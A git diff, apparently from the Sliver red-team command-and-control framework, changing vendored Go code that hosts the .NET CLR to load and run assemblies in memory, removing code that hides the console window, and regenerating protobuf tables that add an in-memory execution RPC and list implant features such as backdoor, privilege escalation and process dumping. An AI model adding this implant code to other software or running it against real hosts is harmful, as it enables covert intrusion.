// and returns the assembly's methodInfo structure. The intended purpose is for the assembly to be loaded
|
||||
// once but executed many times throughout the duration of the program. Commonly used with C2 frameworks
|
||||
// once but executed many times throught the duration of the program. Commonly used with C2 frameworks
|
||||
func LoadAssembly(runtimeHost *ICORRuntimeHost, rawBytes []byte) (methodInfo *MethodInfo, err error) {
|
||||
appDomain, err := GetAppDomain(runtimeHost)
|
||||
if err != nil {
|
||||
@@ -330,7 +319,7 @@ func LoadAssembly(runtimeHost *ICORRuntimeHost, rawBytes []byte) (methodInfo *Me
|
||||
}
|
||||
|
||||
// InvokeAssembly uses the MethodInfo structure of a previously loaded assembly and executes it.
|
||||
// The intended purpose is for the assembly to be executed many times throughout the duration of the
|
||||
// The intended purpose is for the assembly to be executed many times throught the duration of the
|
||||
// program. Commonly used with C2 frameworks
|
||||
func InvokeAssembly(methodInfo *MethodInfo, params []string) (stdout string, stderr string) {
|
||||
var paramSafeArray *SafeArray
|
||||
|
||||
+2
-32
@@ -1,4 +1,3 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
@@ -9,7 +8,6 @@ import (
|
||||
"fmt"
|
||||
"os"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
@@ -60,41 +58,13 @@ func RedirectStdoutStderr() (err error) {
|
||||
return
|
||||
}
|
||||
|
||||
// Create a new reader and writer for STDERR
|
||||
// Createa new reader and writer for STDERR
|
||||
rSTDERR, wSTDERR, err = os.Pipe()
|
||||
if err != nil {
|
||||
err = fmt.Errorf("there was an error calling the os.Pipe() function to create a new STDERR:\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
getConsoleWindow := kernel32.NewProc("GetConsoleWindow")
|
||||
|
||||
// Ensure the process has a console because if it doesn't there will be no output to capture
|
||||
hConsole, _, _ := getConsoleWindow.Call()
|
||||
if hConsole == 0 {
|
||||
// https://learn.microsoft.com/en-us/windows/console/allocconsole
|
||||
allocConsole := kernel32.NewProc("AllocConsole")
|
||||
// BOOL WINAPI AllocConsole(void);
|
||||
ret, _, err := allocConsole.Call()
|
||||
// A process can be associated with only one console, so the AllocConsole function fails if the calling process
|
||||
// already has a console. So long as any console exists we are good to go and therefore don't care about errors
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("there was an error calling kernel32!AllocConsole with return code %d: %s", ret, err)
|
||||
}
|
||||
|
||||
// Get a handle to the newly created/allocated console
|
||||
hConsole, _, _ = getConsoleWindow.Call()
|
||||
|
||||
user32 := windows.NewLazySystemDLL("user32.dll")
|
||||
showWindow := user32.NewProc("ShowWindow")
|
||||
// Hide the console window
|
||||
ret, _, err = showWindow.Call(hConsole, windows.SW_HIDE)
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("there was an error calling user32!ShowWindow with return %+v: %s", ret, err)
|
||||
}
|
||||
}
|
||||
|
||||
// Set STDOUT/STDERR to the new files from os.Pipe()
|
||||
// https://docs.microsoft.com/en-us/windows/console/setstdhandle
|
||||
if err = windows.SetStdHandle(windows.STD_OUTPUT_HANDLE, windows.Handle(wSTDOUT.Fd())); err != nil {
|
||||
@@ -162,7 +132,7 @@ func ReadStdoutStderr() (stdout string, stderr string, err error) {
|
||||
return
|
||||
}
|
||||
|
||||
// CloseStdoutStderr closes the Reader/Writer for the previously redirected STDOUT/STDERR
|
||||
// CloseSTdoutStderr closes the Reader/Writer for the prviously redirected STDOUT/STDERR
|
||||
// that was changed to an *os.File
|
||||
func CloseStdoutStderr() (err error) {
|
||||
err = rSTDOUT.Close()
|
||||
|
||||
+8
@@ -5,6 +5,7 @@ package clr
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"log"
|
||||
"strings"
|
||||
"unicode/utf16"
|
||||
"unsafe"
|
||||
@@ -24,6 +25,13 @@ func checkOK(hr uintptr, caller string) error {
|
||||
}
|
||||
}
|
||||
|
||||
// must forces the program to exit if there is an error using the log.Fatal command
|
||||
func must(err error) {
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func utf16Le(s string) []byte {
|
||||
enc := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
|
||||
var buf bytes.Buffer
|
||||
|
||||
Vendored
+1
-1
@@ -15,7 +15,7 @@ github.com/BurntSushi/xgb/xproto
|
||||
# github.com/Microsoft/go-winio v0.5.1
|
||||
## explicit; go 1.12
|
||||
github.com/Microsoft/go-winio/pkg/guid
|
||||
# github.com/Ne0nd0g/go-clr v1.0.3
|
||||
# github.com/Ne0nd0g/go-clr v1.0.2
|
||||
## explicit; go 1.13
|
||||
github.com/Ne0nd0g/go-clr
|
||||
# github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc v3.21.12
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.21.9
|
||||
// source: clientpb/client.proto
|
||||
|
||||
package clientpb
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc v3.21.12
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.21.9
|
||||
// source: commonpb/common.proto
|
||||
|
||||
package commonpb
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc v3.21.12
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.21.9
|
||||
// source: dnspb/dns.proto
|
||||
|
||||
package dnspb
|
||||
|
||||
+277
-270
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.27.1
|
||||
// protoc v3.21.12
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.21.9
|
||||
// source: rpcpb/services.proto
|
||||
|
||||
package rpcpb
|
||||
@@ -31,7 +31,7 @@ var file_rpcpb_services_proto_rawDesc = []byte{
|
||||
0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2f, 0x73,
|
||||
0x6c, 0x69, 0x76, 0x65, 0x72, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x63, 0x6c, 0x69,
|
||||
0x65, 0x6e, 0x74, 0x70, 0x62, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f,
|
||||
0x74, 0x6f, 0x32, 0x8a, 0x3e, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
|
||||
0x74, 0x6f, 0x32, 0xce, 0x3e, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
|
||||
0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0f,
|
||||
0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a,
|
||||
0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69,
|
||||
@@ -498,40 +498,44 @@ var file_rpcpb_services_proto_rawDesc = []byte{
|
||||
0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
|
||||
0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72,
|
||||
0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
|
||||
0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x2c,
|
||||
0x0a, 0x05, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
|
||||
0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c,
|
||||
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x32, 0x0a, 0x07,
|
||||
0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
|
||||
0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e,
|
||||
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64,
|
||||
0x12, 0x2f, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12,
|
||||
0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73,
|
||||
0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b,
|
||||
0x73, 0x12, 0x2e, 0x0a, 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12,
|
||||
0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73,
|
||||
0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74,
|
||||
0x79, 0x12, 0x3a, 0x0a, 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x12,
|
||||
0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73,
|
||||
0x44, 0x61, 0x74, 0x61, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
|
||||
0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x32, 0x0a,
|
||||
0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e,
|
||||
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a,
|
||||
0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65,
|
||||
0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c,
|
||||
0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e,
|
||||
0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d,
|
||||
0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74,
|
||||
0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e,
|
||||
0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
|
||||
0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30,
|
||||
0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f,
|
||||
0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63,
|
||||
0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x42,
|
||||
0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69,
|
||||
0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70,
|
||||
0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70,
|
||||
0x72, 0x6f, 0x74, 0x6f, 0x33,
|
||||
0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x42,
|
||||
0x0a, 0x0f, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x49, 0x6e, 0x4d, 0x65, 0x6d, 0x6f, 0x72,
|
||||
0x79, 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65,
|
||||
0x63, 0x75, 0x74, 0x65, 0x49, 0x6e, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x1a,
|
||||
0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75,
|
||||
0x74, 0x65, 0x12, 0x2c, 0x0a, 0x05, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c,
|
||||
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a,
|
||||
0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c,
|
||||
0x12, 0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c,
|
||||
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65,
|
||||
0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72,
|
||||
0x74, 0x66, 0x77, 0x64, 0x12, 0x2f, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x6f,
|
||||
0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53,
|
||||
0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
|
||||
0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2e, 0x0a, 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f,
|
||||
0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53,
|
||||
0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e,
|
||||
0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3a, 0x0a, 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72,
|
||||
0x6f, 0x78, 0x79, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53,
|
||||
0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
|
||||
0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30,
|
||||
0x01, 0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65,
|
||||
0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e,
|
||||
0x6e, 0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54,
|
||||
0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75,
|
||||
0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
|
||||
0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70,
|
||||
0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65,
|
||||
0x6c, 0x44, 0x61, 0x74, 0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
|
||||
0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c,
|
||||
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74,
|
||||
0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12,
|
||||
0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79,
|
||||
0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e,
|
||||
0x74, 0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f,
|
||||
0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76,
|
||||
0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70,
|
||||
0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
|
||||
}
|
||||
|
||||
var file_rpcpb_services_proto_goTypes = []interface{}{
|
||||
@@ -628,95 +632,96 @@ var file_rpcpb_services_proto_goTypes = []interface{}{
|
||||
(*sliverpb.WGSocksStopReq)(nil), // 90: sliverpb.WGSocksStopReq
|
||||
(*sliverpb.WGTCPForwardersReq)(nil), // 91: sliverpb.WGTCPForwardersReq
|
||||
(*sliverpb.WGSocksServersReq)(nil), // 92: sliverpb.WGSocksServersReq
|
||||
(*sliverpb.ShellReq)(nil), // 93: sliverpb.ShellReq
|
||||
(*sliverpb.PortfwdReq)(nil), // 94: sliverpb.PortfwdReq
|
||||
(*sliverpb.Socks)(nil), // 95: sliverpb.Socks
|
||||
(*sliverpb.SocksData)(nil), // 96: sliverpb.SocksData
|
||||
(*sliverpb.Tunnel)(nil), // 97: sliverpb.Tunnel
|
||||
(*sliverpb.TunnelData)(nil), // 98: sliverpb.TunnelData
|
||||
(*clientpb.Version)(nil), // 99: clientpb.Version
|
||||
(*clientpb.Operators)(nil), // 100: clientpb.Operators
|
||||
(*sliverpb.Reconfigure)(nil), // 101: sliverpb.Reconfigure
|
||||
(*clientpb.Sessions)(nil), // 102: clientpb.Sessions
|
||||
(*clientpb.Beacons)(nil), // 103: clientpb.Beacons
|
||||
(*clientpb.BeaconTasks)(nil), // 104: clientpb.BeaconTasks
|
||||
(*commonpb.Response)(nil), // 105: commonpb.Response
|
||||
(*clientpb.Jobs)(nil), // 106: clientpb.Jobs
|
||||
(*clientpb.KillJob)(nil), // 107: clientpb.KillJob
|
||||
(*clientpb.MTLSListener)(nil), // 108: clientpb.MTLSListener
|
||||
(*clientpb.WGListener)(nil), // 109: clientpb.WGListener
|
||||
(*clientpb.DNSListener)(nil), // 110: clientpb.DNSListener
|
||||
(*clientpb.HTTPListener)(nil), // 111: clientpb.HTTPListener
|
||||
(*clientpb.StagerListener)(nil), // 112: clientpb.StagerListener
|
||||
(*clientpb.AllLoot)(nil), // 113: clientpb.AllLoot
|
||||
(*clientpb.AllHosts)(nil), // 114: clientpb.AllHosts
|
||||
(*clientpb.Generate)(nil), // 115: clientpb.Generate
|
||||
(*clientpb.ExternalImplantConfig)(nil), // 116: clientpb.ExternalImplantConfig
|
||||
(*clientpb.Builders)(nil), // 117: clientpb.Builders
|
||||
(*clientpb.ImplantBuilds)(nil), // 118: clientpb.ImplantBuilds
|
||||
(*clientpb.Canaries)(nil), // 119: clientpb.Canaries
|
||||
(*clientpb.WGClientConfig)(nil), // 120: clientpb.WGClientConfig
|
||||
(*clientpb.UniqueWGIP)(nil), // 121: clientpb.UniqueWGIP
|
||||
(*clientpb.ImplantProfiles)(nil), // 122: clientpb.ImplantProfiles
|
||||
(*clientpb.MsfStager)(nil), // 123: clientpb.MsfStager
|
||||
(*clientpb.ShellcodeRDI)(nil), // 124: clientpb.ShellcodeRDI
|
||||
(*clientpb.Compiler)(nil), // 125: clientpb.Compiler
|
||||
(*clientpb.ShellcodeEncode)(nil), // 126: clientpb.ShellcodeEncode
|
||||
(*clientpb.ShellcodeEncoderMap)(nil), // 127: clientpb.ShellcodeEncoderMap
|
||||
(*clientpb.Websites)(nil), // 128: clientpb.Websites
|
||||
(*sliverpb.Ps)(nil), // 129: sliverpb.Ps
|
||||
(*sliverpb.Terminate)(nil), // 130: sliverpb.Terminate
|
||||
(*sliverpb.Ifconfig)(nil), // 131: sliverpb.Ifconfig
|
||||
(*sliverpb.Netstat)(nil), // 132: sliverpb.Netstat
|
||||
(*sliverpb.Ls)(nil), // 133: sliverpb.Ls
|
||||
(*sliverpb.Pwd)(nil), // 134: sliverpb.Pwd
|
||||
(*sliverpb.Mv)(nil), // 135: sliverpb.Mv
|
||||
(*sliverpb.Rm)(nil), // 136: sliverpb.Rm
|
||||
(*sliverpb.Mkdir)(nil), // 137: sliverpb.Mkdir
|
||||
(*sliverpb.Download)(nil), // 138: sliverpb.Download
|
||||
(*sliverpb.Upload)(nil), // 139: sliverpb.Upload
|
||||
(*sliverpb.ProcessDump)(nil), // 140: sliverpb.ProcessDump
|
||||
(*sliverpb.RunAs)(nil), // 141: sliverpb.RunAs
|
||||
(*sliverpb.Impersonate)(nil), // 142: sliverpb.Impersonate
|
||||
(*sliverpb.RevToSelf)(nil), // 143: sliverpb.RevToSelf
|
||||
(*sliverpb.GetSystem)(nil), // 144: sliverpb.GetSystem
|
||||
(*sliverpb.Task)(nil), // 145: sliverpb.Task
|
||||
(*sliverpb.ExecuteAssembly)(nil), // 146: sliverpb.ExecuteAssembly
|
||||
(*sliverpb.Migrate)(nil), // 147: sliverpb.Migrate
|
||||
(*sliverpb.Execute)(nil), // 148: sliverpb.Execute
|
||||
(*sliverpb.Sideload)(nil), // 149: sliverpb.Sideload
|
||||
(*sliverpb.SpawnDll)(nil), // 150: sliverpb.SpawnDll
|
||||
(*sliverpb.Screenshot)(nil), // 151: sliverpb.Screenshot
|
||||
(*sliverpb.CurrentTokenOwner)(nil), // 152: sliverpb.CurrentTokenOwner
|
||||
(*sliverpb.PivotListener)(nil), // 153: sliverpb.PivotListener
|
||||
(*sliverpb.PivotListeners)(nil), // 154: sliverpb.PivotListeners
|
||||
(*clientpb.PivotGraph)(nil), // 155: clientpb.PivotGraph
|
||||
(*sliverpb.ServiceInfo)(nil), // 156: sliverpb.ServiceInfo
|
||||
(*sliverpb.MakeToken)(nil), // 157: sliverpb.MakeToken
|
||||
(*sliverpb.EnvInfo)(nil), // 158: sliverpb.EnvInfo
|
||||
(*sliverpb.SetEnv)(nil), // 159: sliverpb.SetEnv
|
||||
(*sliverpb.UnsetEnv)(nil), // 160: sliverpb.UnsetEnv
|
||||
(*sliverpb.Backdoor)(nil), // 161: sliverpb.Backdoor
|
||||
(*sliverpb.RegistryRead)(nil), // 162: sliverpb.RegistryRead
|
||||
(*sliverpb.RegistryWrite)(nil), // 163: sliverpb.RegistryWrite
|
||||
(*sliverpb.RegistryCreateKey)(nil), // 164: sliverpb.RegistryCreateKey
|
||||
(*sliverpb.RegistryDeleteKey)(nil), // 165: sliverpb.RegistryDeleteKey
|
||||
(*sliverpb.RegistrySubKeyList)(nil), // 166: sliverpb.RegistrySubKeyList
|
||||
(*sliverpb.RegistryValuesList)(nil), // 167: sliverpb.RegistryValuesList
|
||||
(*sliverpb.SSHCommand)(nil), // 168: sliverpb.SSHCommand
|
||||
(*clientpb.DllHijack)(nil), // 169: clientpb.DllHijack
|
||||
(*sliverpb.GetPrivs)(nil), // 170: sliverpb.GetPrivs
|
||||
(*sliverpb.RportFwdListener)(nil), // 171: sliverpb.RportFwdListener
|
||||
(*sliverpb.RportFwdListeners)(nil), // 172: sliverpb.RportFwdListeners
|
||||
(*sliverpb.RegisterExtension)(nil), // 173: sliverpb.RegisterExtension
|
||||
(*sliverpb.CallExtension)(nil), // 174: sliverpb.CallExtension
|
||||
(*sliverpb.ListExtensions)(nil), // 175: sliverpb.ListExtensions
|
||||
(*sliverpb.WGPortForward)(nil), // 176: sliverpb.WGPortForward
|
||||
(*sliverpb.WGSocks)(nil), // 177: sliverpb.WGSocks
|
||||
(*sliverpb.WGTCPForwarders)(nil), // 178: sliverpb.WGTCPForwarders
|
||||
(*sliverpb.WGSocksServers)(nil), // 179: sliverpb.WGSocksServers
|
||||
(*sliverpb.Shell)(nil), // 180: sliverpb.Shell
|
||||
(*sliverpb.Portfwd)(nil), // 181: sliverpb.Portfwd
|
||||
(*sliverpb.ExecuteInMemoryReq)(nil), // 93: sliverpb.ExecuteInMemoryReq
|
||||
(*sliverpb.ShellReq)(nil), // 94: sliverpb.ShellReq
|
||||
(*sliverpb.PortfwdReq)(nil), // 95: sliverpb.PortfwdReq
|
||||
(*sliverpb.Socks)(nil), // 96: sliverpb.Socks
|
||||
(*sliverpb.SocksData)(nil), // 97: sliverpb.SocksData
|
||||
(*sliverpb.Tunnel)(nil), // 98: sliverpb.Tunnel
|
||||
(*sliverpb.TunnelData)(nil), // 99: sliverpb.TunnelData
|
||||
(*clientpb.Version)(nil), // 100: clientpb.Version
|
||||
(*clientpb.Operators)(nil), // 101: clientpb.Operators
|
||||
(*sliverpb.Reconfigure)(nil), // 102: sliverpb.Reconfigure
|
||||
(*clientpb.Sessions)(nil), // 103: clientpb.Sessions
|
||||
(*clientpb.Beacons)(nil), // 104: clientpb.Beacons
|
||||
(*clientpb.BeaconTasks)(nil), // 105: clientpb.BeaconTasks
|
||||
(*commonpb.Response)(nil), // 106: commonpb.Response
|
||||
(*clientpb.Jobs)(nil), // 107: clientpb.Jobs
|
||||
(*clientpb.KillJob)(nil), // 108: clientpb.KillJob
|
||||
